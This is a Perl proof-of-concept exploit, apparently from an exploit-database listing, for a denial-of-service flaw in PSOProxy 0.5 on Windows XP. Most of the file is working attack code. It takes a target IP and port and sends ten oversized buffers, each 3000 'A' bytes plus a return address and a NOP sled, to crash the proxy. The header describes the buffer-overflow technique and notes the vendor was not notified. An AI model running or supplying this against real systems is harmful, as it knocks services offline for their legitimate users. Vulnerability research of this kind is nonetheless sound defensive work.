#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: PSOProxy 0.5 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 10 january 2024
# Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/
# Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing
# Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSOProxy 0.5
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=0uuUqfpRbHM
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "\t ==> Connecting to webserver... \n\n";
sleep(1);
my $i=0;
print "\t ==> Exploiting... \n\n";
while ($i <= 9) {
my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Cannot connect to $ip:$port: $!\n";
my $buffer = "A" x 3000;
my $shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
$buffer .= "\x0F\x98\xF8\x77" . $shellcode;
print $sock $buffer . "\r\n";
close($sock);
$i++;
}
print "\t ==> Done! Exploited!";
sub intro {
print q {
,--,
_ ___/ /\|
,;'( )__, ) ~
// // '--;
' \ | ^
^ ^
[+] PSOProxy 0.5 - Denial of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: fernando.mengalli@gmail.com
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print "\n\tUsage: $0 <ip> <port> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated
Polish
English